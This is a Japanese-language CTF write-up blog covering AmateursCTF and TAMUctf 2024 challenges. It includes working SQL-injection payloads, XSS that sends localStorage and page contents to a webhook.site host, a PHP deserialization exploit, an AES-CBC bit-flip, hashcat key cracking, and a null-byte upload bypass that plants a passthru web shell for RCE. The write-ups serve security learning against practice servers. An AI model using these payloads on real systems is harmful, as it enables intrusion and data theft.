パスワードの検索が一度しかできず、しかも返ってきたレコードについて最初の1文字しか得られないという制約がつらい。が、UNION SELECT substr(password, 1, 1) FROM table_{id} UNION SELECT substr(password, 2, 1) FROM table_{id} … のように1レコードにつき1文字という形で UNION しまくればよいのでは考えた。

けれども、それだとペイロードが長くなりすぎてあまり美しくない。WITH RECURSIVE で殴ろう。

import re
import httpx

with httpx.Client(base_url='http://one-shot.amt.rs/') as client:
    r = client.post('/new_session')
    id = re.findall(r'id" value="([^"]+)', r.text)[0]
    payload = f"' and 0 == 1 union all select xx from (with recursive u(x) as (values((select password from table_{id})) union all select substr(x,2) from u where x != '') select substr(x,1,1)xx from u where xx != ''); -- "
    
    r = client.post('/search', data={
        'id': id,
        'query': payload
    })
    password = ''.join(re.findall(r'<li>(.)</li>', r.text))
    print(f'{password=}')

    r = client.post('/guess', data={
        'id': id,
        'password': password
    })
    print(r.text)

実行するとフラグ(とフラグじゃないやつ)が得られた。

$ python3 s.py
password='ece7f76c01c14b7de552bd89e26689c6'
<p>amateursCTF{go_union_select_a_life}</p>
<br />
<h3>alternative flags (these won't work) (also do not share):</h3>
<p>
amateursCTF{UNION_SELECT_life_FROM_grass} <br />
amateursCTF{why_are_you_endorsing_unions_big_corporations_are_better} <br />
amateursCTF{union_more_like_onion_*cronch*}  <br />
amateursCTF{who_is_this_Niko_everyone_is_talking_about}
</p>
amateursCTF{go_union_select_a_life}

[Web 302] sculpture (95 solves)

Client side rendered python turtle sculptures, why don't we play around with them.

Remote (for use in admin bot): (問題サーバのURL), (admin botへのreport用のURL)

添付ファイル: index.html, admin-bot-excerpt.js

Skulptによって、Webブラウザ上でPythonコードの実行ができるWebページが与えられている。turtle や標準出力にも対応しているようだ。

index.html を確認すると、標準出力へ出力された文字列は innerHTML でレンダリングされるということがわかる。XSSチャンスだ。

function outf(text) { 
    var mypre = document.getElementById("output"); 
    mypre.innerHTML = mypre.innerHTML + text; 
}function runit() { 
   var prog = document.getElementById("yourcode").value; 
   var mypre = document.getElementById("output"); 
   mypre.innerHTML = ''; 
   Sk.pre = "output";
   Sk.configure({output:outf, read:builtinRead});

また、Webページの読み込み時にクエリパラメータの code からコードを持ってきて実行している様子もわかる。HTMLを出力するコードを実行させればよいのではないか。

document.addEventListener("DOMContentLoaded",function(ev){
    document.getElementById("yourcode").value = atob((new URLSearchParams(location.search)).get("code"));
    runit();
});

次のコードをDevToolsで実行し、localStorage を外部に送信させるコードが実行されるようなURLを手に入れる。

location.href = '/?code=' + btoa(`print("<img src=x onerror=\\"navigator.sendBeacon('https://webhook.site/…', JSON.stringify(localStorage))\\">")`).replaceAll('+','%2b')

admin botにそのURLを通報すると、フラグが得られた。

amateursCTF{i_l0v3_wh3n_y0u_can_imp0rt_xss_v3ct0r}

[Jail 207] sansomega (230 solves)

Somehow I think the pico one had too many unintendeds...

So I left some more in :)

(問題サーバの接続情報)

添付ファイル: shell.py, Dockerfile

shell.py は次の通り。入力したシェルスクリプトが /bin/sh で実行されるけれども、20文字以上と長すぎるとダメだし、英大文字小文字やブラケット等の文字は使えない。

#!/usr/local/bin/python3
import subprocess

BANNED = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\\"\'`:{}[]'


def shell():
    while True:
        cmd = input('$ ')
        if any(c in BANNED for c in cmd):
            print('Banned characters detected')
            exit(1)

        if len(cmd) >= 20:
            print('Command too long')
            exit(1)

        proc = subprocess.Popen(
            ["/bin/sh", "-c", cmd], stdout=subprocess.PIPE, stderr=subprocess.STDOUT)

        print(proc.stdout.read().decode('utf-8'), end='')

if __name__ == '__main__':
    shell()

シェルスクリプトであることに感謝。$0 には /bin/sh が入っているはずだ。$0 と入力すればシェルが立ち上がるのではないか。試してみると、確かにシェルが立ち上がり、フラグが得られた。

$ nc … 2100
$ $0
cat /app/flag.txt
exit
amateursCTF{pic0_w45n7_g00d_n0ugh_50_i_700k_som3_cr34t1v3_l1b3rt135_ade8820e}
amateursCTF{pic0_w45n7_g00d_n0ugh_50_i_700k_som3_cr34t1v3_l1b3rt135_ade8820e}

[Jail 355] javajail2 (54 solves)

okay sorry here's a real jail.

(問題サーバの接続情報)

添付ファイル: main.py

次のようなソースコードが与えられている。ユーザ入力がJavaコードとしてコンパイル・実行されるけれども、import だとか flag.txt だとか使えないワードが色々ある。

#!/usr/local/bin/python3

import subprocess

BANNED = ['import', 'throws', 'new']
BANNED += ['File', 'Scanner', 'Buffered', 'Process', 'Runtime', 'ScriptEngine', 'Print', 'Stream', 'Field', 'javax']
BANNED += ['flag.txt', '^', '|', '&', '\'', '\\', '[]', ':']

print('''
      Welcome to the Java Jail.
      Have fun coding in Java!
      ''')

print('''Enter in your code below (will be written to Main.java), end with --EOF--\n''')

code = ''
while True:
    line = input()
    if line == '--EOF--':
        break
    code += line + '\n'

for word in BANNED:
    if word in code:
        print('Not allowed')
        exit()

with open('/tmp/Main.java', 'w') as f:
    f.write(code)

print("Here's your output:")
output = subprocess.run(['java', '-Xmx648M', '-Xss32M', '/tmp/Main.java'], capture_output=True)
print(output.stdout.decode('utf-8'))

ゴールは flag.txt を読むことにある。色々困りごとはあるが、それぞれ以下のようにして対応した。Javaについてよく知らないので回りくどいことをやっているかもしれない。もっときれいに解けるっぽいし。

なお、わざわざ enum を使って main メソッドを生やしているけれども、これはjavajail1と同様に class が使えないと勘違いしていたためだ。この方法は "java without class" みたいなクエリでググって出てきたページを参考にした。

  • importFile が使えないが、どのようにしてファイルを読むか。リフレクションでなんとかすればよい。Javaのドキュメントとにらめっこしつつ、使えそうなメソッドを探していった
  • [] が使えないので、[ ] とスペースを挟んでいる
  • new byte[] が使えないので、"aaaaa".getBytes() で代替する
  • URL.getContentObject を返す。そのままだと read が呼べないのでわざわざ o という変数に入れている
    • Stream も使えないので結局 oObject で受けるしかなくて、そのためにリフレクションで read を呼んでいる
  • byte[] から String への変換が面倒だったので System.out.printf で代替している

次のコードはこれらをあわせたものだ。

enum Color
{
    RED;
    public static void main(String[ ] args)
    {
        try {
            byte[ ] s = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".getBytes();
            Object o = RED.getClass().getClassLoader().getResource("flag."+"txt").getContent();
            o.getClass().getMethod("read", s.getClass()).invoke(o, s);
            for (int i = 0; i < s.length; i++) System.out.printf("%c", s[i]);
        } catch(Exception e) {}
    }
}

送信するとフラグが得られた。

amateursCTF{r3flect3d_4cr055_all_th3_fac35}

TAMUctf 2024 writeup

4/6 - 4/8という日程で開催された。BunkyoWesternsの🦌ta_ga_naiとして参加して5位。特にコンテナエスケープ問が面白かったし勉強になった。BunkyoWesternsはあと1問で全完というところまでいったのだけれども、[Forensics] Volatileというエスパー要素のあるメモリフォレンジック問にやられた。

目的が読み取れない問題文でメモリフォレンジックを行う必要があるというだけでも、目当てがないままにプロセスにリストやら開かれているファイルのハンドルやら、得られる情報を片っ端から調べる必要がありつらいが、そこにエスパー要素まで加わってくるともうダメだ。メモリフォレンジック問だから真面目にやれば解けるのだとは考えず、やれることはやって何も見つからなかった時点でエスパー問のための思考に切り替える必要があったとは思う。


[Web 100] Cereal (101 solves)

Just made a new website. It's a work in progress, please don't judge...

(URL)

添付ファイル: cereal.zip

与えられたURLにアクセスすると、以下のようなログインフォームが表示される。表示されているcredsでログインすると "Welcome guest!" と言われる。それだけ。

Cookieに auth というキーで以下のような値が入っている。ログイン情報をここに保存しているらしい。

Tzo0OiJVc2VyIjo0OntzOjg6InVzZXJuYW1lIjtzOjU6Imd1ZXN0IjtzOjI6ImlkIjtpOjE7czoxMToiACoAcGFzc3dvcmQiO3M6MzI6IjVmNGRjYzNiNWFhNzY1ZDYxZDgzMjdkZWI4ODJjZjk5IjtzOjEwOiIAKgBwcm9maWxlIjtOO30%3D

ソースコードを読んでいく。authenticate.php にログイン周りの処理が詰まっている。なるほど、User という色々とユーザの情報が入っているクラスのインスタンスを serialize でシリアライズし、Base64エンコードして先程のCookieに保存しているようだ。

<?php// Creating cookie
if ($row['username'] === $username && $row['password'] === $password) {
    $cookie_name='auth';
    $cookie = new User();
    $cookie->username = $username;
    $cookie->id = (int)$row['id'];
    $cookie->setPassword(md5($row['password']));
    setcookie($cookie_name, base64_encode(serialize($cookie)), time() + (86400 * 30), "/");
    echo 'Welcome ' . $username . '! ' . '<br><br><a href="home.php"><i class="fas fa-user-circle"></i>Home</a>';
} else {

home.php を読むと、確かにこの auth というCookieについて、Base64デコードして unserialize で元のオブジェクトを復元し、以降それを参照している様子が確認できる。署名はないので、いくらでもその値を改ざんできる。好きなものを unserialize できるということで、これはInsecure Deserialization(PHPなのでPHP Object Injectionとも言う)だ。

<?php
require_once('config.php');

// Check if logged in
if (!isset($_COOKIE['auth']) || empty($_COOKIE['auth'])) {
    header('Location: logout.php');
    exit;
}

$cookie = unserialize(base64_decode($_COOKIE['auth']));

?>

さて、このInsecure Deserializationによってどんなオブジェクトが作れると嬉しいか。Dockerfile は配布されていないし、ソースコード中で flaggigem 等を検索しても何も見つからないので、フラグが表示される条件はよくわからない。とりあえずここから別の攻撃に発展させられないか、ソースコードを読みつつ考えていこう。

User の実装を見ていく。PHPでは unserialize でデシリアライズされた際にそのオブジェクトの __wakeup というメソッドが呼ばれるわけだけれども、User については validaterefresh を呼んでいることがわかる。

validate では usernamepassword の2つのプロパティを使いつつ、これらのcredsについて実在するユーザのものであるかを確認している。ちゃんとプレースホルダを使っているのでSQLiは発生していない。

続いて refresh が行われ、そのユーザのプロフィールを取得しているわけだけれども、今度は idusername というプロパティを参照している。なぜか今度はプレースホルダを使っておらず、明らかにSQLiがある。username の方は validate でも参照されるからいじれないけれども、id はいくらでもいじれる。こちらからSQLiができそうだ。

<?php
class User {
  public $username = '';
    public $id = -1;
    
    protected $password = '';
    protected $profile;

    public function setPassword($pass) {
        $this->password = $pass;
    }

    public function sendProfile() {
        return $this->profile;
    }

    public function refresh() {
        // Database connection
        $conn = new PDO('sqlite:../important.db');
        $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
        $query = "select username, email, favorite_cereal, creation_date from users where `id` = '" . $this->id . "' AND `username` = '" . $this->username . "'";
        $stmt = $conn->prepare($query);
        $stmt->execute();
        $row = $stmt->fetch();

        $this->profile = $row;
    }

    public function validate() {
        // Database connection
        $conn = new PDO('sqlite:../important.db');
        $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
        $query = "select * from users where `username` = :username";
        $stmt = $conn->prepare($query);
        $stmt->bindParam(':username', $this->username);
        $stmt->execute();
        $row = $stmt->fetch();

        if (md5($row['password']) !== $this->password) {
            header('Location: logout.php');
            exit;
        }
    }

    public function __wakeup() {
        $this->validate();
        $this->refresh();
        }
}

?>

次のようなPHPコードを用意して、Cookieにセットすると細工した User がデシリアライズされる文字列を作る。

<?php
class User {
    function __construct() {
        $this->username = 'guest';
        $this->password = '5f4dcc3b5aa765d61d8327deb882cf99';
        $this->id = "' union select group_concat(sql),2,3,4 from sqlite_master; -- ";
        $this->profile = 'poyo';
    }
}

echo base64_encode(serialize(new User)) . "\n";

?>

出力された文字列をCookieにセットして、プロフィールが表示されるページを閲覧する。次のように、SQLiによってデータベースに存在するテーブルの作成に使われたSQLを取り出すことができた。

今度はSQLiのペイロードを ' union select group_concat(username),group_concat(password),3,4 from users; -- に変更し、すべてのユーザのユーザ名とパスワードを抽出する。admin というユーザのパスワードがフラグだった。

[Web 100] Forgotten Password (141 solves)

Author: bit

We discovered that this blog owner's email is b8500763@gmail.com through reconaissance. We do not have access to the password of the account, how could we login regardless?

(URL)

添付ファイル: forgotten-password.zip

与えられたURLにアクセスすると、次のようなログインフォームが表示される。

パスワードを忘れてしまった際のパスワードリセット用フォームもある。メールアドレスを入力すればよいようだ。

ソースコードを見ていく。まず、次のようなディレクトリ構造からRuby on Rails製のアプリだとわかる。

$ tree -d -L 2 .
.
├── app
│   ├── assets
│   ├── channels
│   ├── controllers
│   ├── javascript
│   ├── mailers
│   ├── models
│   └── views
├── bin
├── config
│   ├── environments
│   ├── initializers
│   └── locales
├── db
│   └── migrate
├── lib
│   ├── assets
│   └── tasks
├── log
├── public
├── storage
├── test
│   ├── controllers
│   ├── fixtures
│   ├── helpers
│   ├── integration
│   ├── mailers
│   ├── models
│   └── system
├── tmp
│   ├── pids
│   └── storage
└── vendor
    └── javascript

34 directories

パスワードリセット周りのロジックを見ていこう。app/controllers/auth_controller.rb がそれだ。入力されたメールアドレスに対応するユーザがいれば、そのメールアドレスに対してパスワードリセットのメッセージを送っている。

それはいいのだけれども、その入力されたメールアドレスに対応するユーザがいるかどうかのチェックがおかしい。params[:email].include?(user.email) かどうか、つまり入力されたメールアドレス「に」ユーザのメールアドレス「が」含まれているかを見ている。"b8500763@gmail.com"@example.com のようなものも許してしまうわけだ。

class AuthController < ApplicationController


  def login
  end

  def forget
  end

  def recover
    user_found = false
    User.all.each { |user|
      if params[:email].include?(user.email)
        user_found = true
        break
      end
    }

    if user_found
      RecoveryMailer.recovery_email(params[:email]).deliver_now
      redirect_to forgot_password_path, notice: 'Password reset email sent'
    else
      redirect_to forgot_password_path, alert: 'You are not a registered user!'
    end

  end
end

"b8500763@gmail.com"@example.com (example.com は私の管理するドメイン名に置き換える)をパスワードリセットフォームに入力してみる。すると、25/tcpへの接続の試行があった。SMTPを喋ってみると、パスワードリセットのメールを受け取ることができた。このメールにフラグが含まれていた。

$ sudo nc -lvp 25
Listening on 0.0.0.0 25
Connection received on so254-9.mailgun.net 61175
220 … ESMTP
EHLO so254-9.mailgun.net
250 …
MAIL FROM:<bounce+433457.6673cb-"0b8500763@gmail.com"=…@fgpwmg.tamuctf.com>
250 sender <bounce+433457.6673cb-"0b8500763@gmail.com"=…@fgpwmg.tamuctf.com> ok
RCPT TO:<"0b8500763@gmail.com"@…>
250 recipient <"0b8500763@gmail.com"@…> ok
DATA
354 go ahead
…
Subject: Flag
From: ForgottenPassword@tamuctf.com
To: "0b8500763@gmail.com"@…
date: Sat, 06 Apr 2024 05:42:35 +0000
message-id: <6610e0cb16f28_2bd15000-4df@73e71080d4bd.mail>
Content-Transfer-Encoding: 7bit
Content-Type: text/html; charset=ascii

<!DOCTYPE html>
<html>
  <head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
    <style>
      /* Email styles need to be inline */
    </style>
  </head>

  <body>
    <h1> Here is the flag! </h1>

<p>gigem{sptfy.com/Qhnv}</p>

  </body>
</html>
.
gigem{sptfy.com/Qhnv}

[Web 191] Flipped (89 solves)

So many challenges have plaintext cookies. Try breaking my encrypted cookies!

(URL)

添付ファイルはないが、与えられたURLにアクセスすると次のようなソースコードが表示された。ランダムに生成された鍵でAES-CBCを使ってユーザ情報を暗号化し、Cookieに格納している。あるいは、Cookieに格納されているバイト列を復号してユーザ情報を取り出している。

デフォルトでは {"admin": 0, "username": "guest"} というユーザ情報が格納されているけれども、フラグを得るためにはこの admin というプロパティを 1true に変更する必要がある。

from os import environ
from hashlib import md5
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
from Crypto.Util.Padding import pad, unpad
from flask import Flask, request, make_response, Response
from base64 import b64encode, b64decode

import sys
import json

FLAG = environ['FLAG']
PORT = int(environ['PORT'])

default_session = '{"admin": 0, "username": "guest"}'
key = get_random_bytes(AES.block_size)
app = Flask(__name__)


def encrypt(session):
    iv = get_random_bytes(AES.block_size)
    cipher = AES.new(key, AES.MODE_CBC, iv)
    return b64encode(iv + cipher.encrypt(pad(session.encode('utf-8'), AES.block_size)))


def decrypt(session):
    raw = b64decode(session)
    cipher = AES.new(key, AES.MODE_CBC, raw[:AES.block_size])
    try:
        return unpad(cipher.decrypt(raw[AES.block_size:]), AES.block_size).decode()
    except Exception:
        return None


@app.route('/')
def index():
    session = request.cookies.get('session')
    if session == None:
        res = Response(open(__file__).read(), mimetype='text/plain')
        res.set_cookie('session', encrypt(default_session).decode())
        return res
    elif (plain_session := decrypt(session)) == default_session:
        return Response(open(__file__).read(), mimetype='text/plain')
    else:
        if plain_session != None:
            try:
                if json.loads(plain_session)['admin'] == True:
                    return FLAG
                else:
                    return 'You are not an administrator'
            except Exception:
                return 'You are not an administrator'
        else:
            return 'You are not an administrator'

if __name__ == '__main__':
    app.run('0.0.0.0', PORT)

username というプロパティは一切参照されていない。{"admin": 0, "username": "guest"} に対応する暗号文は得られるわけだから、改ざんによって作るユーザ情報は {"admin": 1} でも構わない。最初のブロック以外は削除し、IVをいじって {"admin": 1}\x04\x04\x04\x04 へ復号されるような暗号文を作ろう。

import base64
import httpx
from ptrlib import *
with httpx.Client(base_url='https://…/') as client:
    client.get('/')

    session = client.cookies['session']
    encrypted = base64.b64decode(session)
    iv = encrypted[:16]
    new_session = base64.b64encode(xor(
        xor(iv, b'{"admin": 0, "us'), b'{"admin": 1}\x04\x04\x04\x04'
    ) + encrypted[16:32]).decode()
    client.cookies['session'] = new_session

    print(client.get('/').text)

これを実行するとフラグが得られた。

gigem{verify_your_cookies}

[Web 388] Cracked (53 solves)

Well, I guess my crypto wasn't the best... This time I am using an HMAC to do integrity checking on the session. Good luck getting the flag now!

Note: This challenge is intended to be solved after Flipped, but it is not required.

(URL)

添付ファイルはないが、与えられたURLにアクセスすると次のようなソースコードが表示された。今度はCookieの session というキーにユーザ情報が、sig というキーにそのHMAC(HMAC-SHA1)が格納されている。もちろんこの sigsession が正しいかどうかの検証に用いられる。HMACの比較には == でなく hmac.compare_digest を使っているのでタイミング攻撃はダメそう。全体的にセキュアなコードに見える。

from os import environ
from hashlib import sha1
from flask import Flask, request, make_response, Response
from base64 import b64encode, b64decode

import hmac
import json


KEY = environ['KEY']
FLAG = environ['FLAG']
PORT = int(environ['PORT'])

default_session = '{"admin": 0, "username": "guest"}'
app = Flask(__name__)


def sign(m):
    return b64encode(hmac.new(KEY.encode(), m.encode(), sha1).digest()).decode()


def verify(m, s):
    return hmac.compare_digest(b64decode(sign(m)), b64decode(s))


@app.route('/')
def index():
    session = request.cookies.get('session')
    sig = request.cookies.get('sig')
    if session == None or sig == None:
        res = Response(open(__file__).read(), mimetype='text/plain')
        res.set_cookie('session', b64encode(default_session.encode()).decode())
        res.set_cookie('sig', sign(default_session))
        return res
    elif (plain_session := b64decode(session).decode()) == default_session:
        return Response(open(__file__).read(), mimetype='text/plain')
    else:
        if plain_session != None and verify(plain_session, sig) == True:
            try:
                if json.loads(plain_session)['admin'] == True:
                    return FLAG
                else:
                    return 'You are not an administrator'
            except Exception:
                return 'You are not an administrator'
        else:
            return 'You are not an administrator'

if __name__ == '__main__':
    app.run('0.0.0.0', PORT)

今度は KEY がランダムに生成されたものではなく環境変数由来であることに注目する。また、問題名も "Cracked" だ。簡単にクラックできるような鍵なのではないか。hashcatで殴ろう。hashcat.exe -m 150 -a 0 hash.txt rockyou.txt で、6lmao9 が鍵であるとわかった(ΦωΦ)

…
Host memory required for this attack: 667 MB

Dictionary cache hit:
* Filename..: rockyou.txt
* Passwords.: 14344384
* Bytes.....: 139921497
* Keyspace..: 14344384

beefda82f9ed4590ea38e9c5a4616397e19f9c74:{"admin": 0, "username": "guest"}:6lmao9
…

判明した鍵を使って {"admin": 1} に対応する sig を計算する。Cookieにそれぞれセットするとフラグが得られた。

gigem{maybe_pick_a_better_password_next_time}

[Web 440] Imposter (40 solves)

I'm not a big fan of Discord's new ToS changes, so I'm making my own crappy version of Discord that isn't overly invasive.

(URL)

与えられたURLにアクセスすると、次のようにログインフォームが表示された。

適当にユーザ登録してログインすると、次のようにDiscordのパチモンが表示された。最初からチャットの対象として admin#0000 というユーザがリストに存在している。

<s>test</s> と入力すると次の通り斜線が表示され、まずHTML Injectionがあるとわかる。<img src=x onerror="navigator.sendBeacon('…')"> と入力するとadmin botからアクセスがあった。XSSもあるようだ。

さて、この問題ではXSSで何をすればよいだろうか。クライアント側のコードを読むと、次のように /flag というメッセージを入力すると特殊な挙動をするとわかる。

      $('#message-box').keypress(function(e) {
        var code = e.keyCode || e.which;
        if(code == 13) {
          message = $('#message-box').val();
          if(message != '') {
            dst = document.getElementById('active-dm').name;
            $('#message-box').val('');
            if(message != '/flag') {
              socket.emit('json', {'to': dst, 'message': message, 'time': moment().format('h:mm:ss A')});
            } else {
              socket.emit('flag');
            }
          }
        }
      });

やってみると、admin#0000 しか /flag でフラグを閲覧できないと怒られる。

ならば、XSSで無理やり admin#0000/flag と送らせよう。<img src=x onerror="setTimeout(()=>{socket.emit('flag');setTimeout(()=>{navigator.sendBeacon('https://webhook.site/…',document.body.innerHTML)},500);},500)"> というメッセージを送る。すると、次のように /flag へのレスポンスとしてフラグが返っている様子が確認できた。

<div class="container">
      <div id="chat" class="chat">
        <img src="x" onerror="setTimeout(()=>{socket.emit('flag');setTimeout(()=>{navigator.sendBeacon('https://webhook.site/…',document.body.innerHTML)},500);},500)">
      
        <div class="message">
            <span class="sender">System</span>
            <p>gigem{its_like_xss_but_with_extra_steps}</p>
        </div>
    </div>
gigem{its_like_xss_but_with_extra_steps}

[Web 454] Remote (35 solves)

I just released the newest version of my online image repository.

Patch notes:

  • Added ability to upload via URL

Note: The flag is located in /var/www/.

(URL)

添付ファイル: remote.zip

与えられたURLにアクセスすると、次のように画像のアップロードフォームが表示される。適当な画像をアップロードしてやると、ページの下部にアップロードした画像が表示された。この画像は /index.php?file=6613d5693f0f59.39827636_fiqjnolhkpgme.jpeg のようなURLになっている。

このように直接画像をアップロードできる機能のほか、URLを指定してのアップロードもできるようだ。URLに htm, php, js, css といったものが含まれておらず、またURLとして正しければ、その内容を取ってくる。そのURLに. で区切った右側を拡張子として、ランダムなファイル名で保存する。このパスは uploads/(セッションID)/(ランダムなファイル名) というものになっている。

<?php} else if(isset($_REQUEST['url'])) {
    if(!preg_match("/(htm)|(php)|(js)|(css)/", $_REQUEST['url'])) {
      $url = filter_var($_REQUEST['url'], FILTER_SANITIZE_URL);
      if(filter_var($url, FILTER_VALIDATE_URL)) {
        $img = file_get_contents($url); 
        if($img !== false) {
          $mime = substr($url, strrpos($url, '.') + 1);
          $file = random_filename(32, 'uploads/' . $sess, $mime);
          
          $f = fopen('uploads/' . $sess . '/' . $file, "wb");
          if($f !== false) {
            fwrite($f, $img);
            fclose($f);
            header('Location: /index.php?message=Image uploaded successfully&status=success');
…

filter_var($url, FILTER_VALIDATE_URL)file:///etc/passwd のようなものでも通してしまうので、このチェックはないものとして考えてよい。ただ、/(htm)|(php)|(js)|(css)/ というチェックはどうすれば通せるだろうか。よく見ると、この正規表現によるチェックの対象は $_REQUEST['url'] なのに対して、実際にコンテンツを取ってくるURLは FILTER_SANITIZE_URL を通したものになっている。順番が逆ではないか。

FILTER_SANITIZE_URL がどのようなものかPHPのドキュメントを参照すると「英字、数字および $-_.+!*'(),{}|\\^~[]`<>#%";/?:@&= 以外のすべての文字を取り除きます」とある。つまり、hoge.p(消される文字)hp のようにすると hoge.php になり、たとえ .php で終わっていてもダウンロードさせられるのではないか。

次のようにわざと php の間にnull文字を入れる。これで /aaa.php にHTTPリクエストが送られ、.php で終わる <?php passthru($_GET['piyopiyo']); という内容のファイルを保存させることができた。

$ curl -c cookie.txt https://…
...
$ curl -c cookie.txt https://…/ -d "url=http://…/aaa.p%00hp" | grep -3 image-display
...
      <div class="result" id="result">
      </div>
    </form>
    <div class=image-display>
<a href=/index.php?file=te8wq2jvqvevph4zn6w9kvg61qilecs1.php><div class=card><img class=thumbnail src=/index.php?file=te8wq2jvqvevph4zn6w9kvg61qilecs1.php></div></a>    </div>
  </div>
</div>

さて、/index.php?file=te8wq2jvqvevph4zn6w9kvg61qilecs1.php にアクセスしてもPHPコードは実行されない。どうすればRCEに持ち込めるだろうか。アップロード先は uploads とされていたけれども、これはドキュメントルート下にある。つまり、index.php を通さずとも直接アクセス可能である。セッションIDはCookieからわかるし、実際のファイル名も .image-display 中の imgsrc 属性からわかる。完全なパスも推測可能だ。

このとき、セッションIDは 7e1345af2b56cf47d90b075f7a044a41 だった。アップロード先の /uploads/7e1345af2b56cf47d90b075f7a044a41/te8wq2jvqvevph4zn6w9kvg61qilecs1.php に直接アクセスすると、このPHPコードが実行された。そのままフラグを探すと、見つかった。

$ curl "https://…/uploads/7e1345af2b56cf47d90b075f7a044a41/te8wq2jvqvevph4zn6w9kvg61qilecs1.php?piyopiyo=ls+/tmp|grep+-v+sess"
flag-de88df3ebf2f0c4bf871ddfb2e0fcce4.txt
$ curl "https://…/uploads/7e1345af2b56cf47d90b075f7a044a41/te8wq2jvqvevph4zn6w9kvg61qilecs1.php?piyopiyo=cat+/tmp/flag-de88df3ebf2f0c4bf871ddfb2e0fcce4.txt"
gigem{new_features_means_new_opportunities}
gigem{new_features_means_new_opportunities}

[Cryptography 464] Jumbled (30 solves)

The RSA Public and Private keys are provided. However, the private key seems to be jumbled in a block size of 10 hex characters. Can you get the flag?

添付ファイル: jumbled.zip

添付ファイルを展開すると public, private, flag.txt.enc の3つのファイルが出てきた。private はこんな感じ。

49 45 4e 42 47 2d 2d 2d 2d 2d 20 54 4b 41 45 49 50 56 20 52 0a … 0d 33 32 65 4e 61 46 6a 61 6b 53 44 6c 54 61 49 4f 52 74 77 37 37 79 6f 64 6a 2d 2d 2d 2d 2d 0d 3d 0a 51 3d 41 49 54 52 56 20 4e 50 45 44 2d 2d 2d 2d 2d 45 20 59 45 4b

hexデコードをすると次のようなテキストが現れた。なるほど、問題文の通りぐちゃぐちゃになっている。

IENBG----- TKAEIPV R
-M-
-Y-E-DBAIAvIAIEGk9hikBqNgAFSEAA0QwBigAgSYBwCKQBCIAAEogA4P0hviZFqN8uoOx
N
Hktux20rj7PgiY+pd5tVkPD9tf+nw1fGyPwkomYXOrQ1YyotznX2pH
T6Lk6U/CkE3Z4S7
oPfVCQcZDzJcmbJ61kpMplvvd6xqDTl/jtnchYikNDIYdLyBAqSy
z
…
X/ILK+iDhwhqhsqsb5ERMzT6FBz+Ag+yPtwyRPK8rYvnV76CCW
epV
32eNaFjakSDlTaIORtw77yodj-----
=
Q=AITRV NPED-----E YEK

元のテキストは -----BEGIN PRIVATE KEY----- から始まるはずだ。10文字ごとに区切り*1、はじめの2ブロックについて、各文字が本来何文字目にあるべきかを確認する。なるほど、ブロックごとにその置換の方法は変わらないようだ。

86957?????
IENBG-----

8695731402
 TKAEIPV R

雑に、テキストを元に戻すスクリプトを書く。

import binascii
import io
with open('jumbled/private') as f:
    s = binascii.unhexlify(f.read().replace(' ', ''))

table = (8, 6, 9, 5, 7, 3, 1, 4, 0, 2)

res = b''
i = io.BytesIO(s)
while True:
    t = i.read(10)
    if t == b'':
        break
    for j in table:
        res += bytes([t[j]])
print(res.decode())

with open('private', 'wb') as f:
    f.write(res)

この秘密鍵を使って flag.txt.enc を復号できた。

$ openssl pkeyutl -decrypt -inkey private -in jumbled/flag.txt.enc
gigem{jumbl3d_r54_pr1v473_k3y_z93kd74lx}
gigem{jumbl3d_r54_pr1v473_k3y_z93kd74lx}

[Forensics 486] SMP (20 solves)

We'd call it Bedwars but we suck at Bedwars too much.

添付ファイル: smp.zip

添付ファイルを展開すると smp.log というファイルが出てきた。これは以下のようなテキストファイルで、24.7MBとかなり大きい。ログに含まれる "Move Entity PosRot" のような特徴的に思えるクエリで検索すると、どうやらSniffCraftというツールでMinecraftのパケットをキャプチャしたものらしいとわかった。

[0:00:00:005] [Handshake] [(SC) --> S] Client Intention
[0:00:00:005] [Handshake] [C --> (SC)] Client Intention
[0:00:00:005] [Login] [(SC) --> S] Hello
[0:00:00:005] [Login] [C --> (SC)] Hello
[0:00:00:358] [Login] [(SC) --> S] Key
[0:00:00:358] [Login] [S --> (SC)] Hello
[0:00:00:574] [Login] [S --> C] Login Compression
[0:00:00:574] [Login] [S --> C] Game Profile
[0:00:00:575] [Login] [C --> S] Login Acknowledged
…

このままだと扱いづらいので、無理やりJSONに変換する。

import json

with open('smp/smp.log') as f:
    s = f.read()
s = '\n' + s[:s.index('Sorted by count')]
i = 0

result = []
while i != -1:
    j = s.find('\n[', i + 1)
    t = s[i:j]

    first_line, *data = t.strip().split('\n', 1)
    timestamp = first_line[1:].split(']', 1)[0]
    is_server_to_client = 'S --> C' in first_line
    command = first_line.rsplit('] ', 1)[1]

    result.append({
        'command': command,
        'timestamp': timestamp,
        'isServerToClient': is_server_to_client,
        'data': None if len(data) == 0 else json.loads(data[0])
    })

    i = j

with open('smp.json', 'w') as f:
    json.dump(result, f)

ログの最後に統計情報が載っている。全部で何十万とパケットがある中で、サーバからクライアントに対して送られている "Block Update" というパケットは866個しかなく、またブロックの何かしらの情報を更新しているという点が気になった。x, y, zの座標の情報もこのパケットに含まれているので、プロットしてみたい。

…
| Update Recipes                                 |      1 ( 0.00%) |    22651 ( 0.22%) | 
| Forget Level Chunk                             |   1451 ( 0.73%) |    15961 ( 0.16%) | 
| Entity Event                                   |   1432 ( 0.72%) |    11456 ( 0.11%) | 
| Block Update                                   |    866 ( 0.44%) |    11027 ( 0.11%) | 
| Update Tags (Configuration)                    |      1 ( 0.00%) |     8517 ( 0.08%) | 
| Update Advancements                            |      1 ( 0.00%) |     7834 ( 0.08%) | 
| Commands                                       |      1 ( 0.00%) |     7797 ( 0.08%) | 
…

プロットするスクリプトを用意した。

import json
import matplotlib.pyplot as plt
from mpl_toolkits.mplot3d import Axes3D

with open('smp.json', 'r') as f:
    packets = json.load(f)

fig = plt.figure()
ax = fig.add_subplot(projection='3d')

x, y, z = [], [], []
for packet in packets:
    if packet['command'] != 'Block Update':
        continue
    pos = packet['data']['pos']
    x.append(pos['x'])
    y.append(pos['y'])
    z.append(pos['z'])

ax.scatter3D(x, y, z)

plt.show()

実行してぐるぐる回すと、次のようにフラグが現れた。

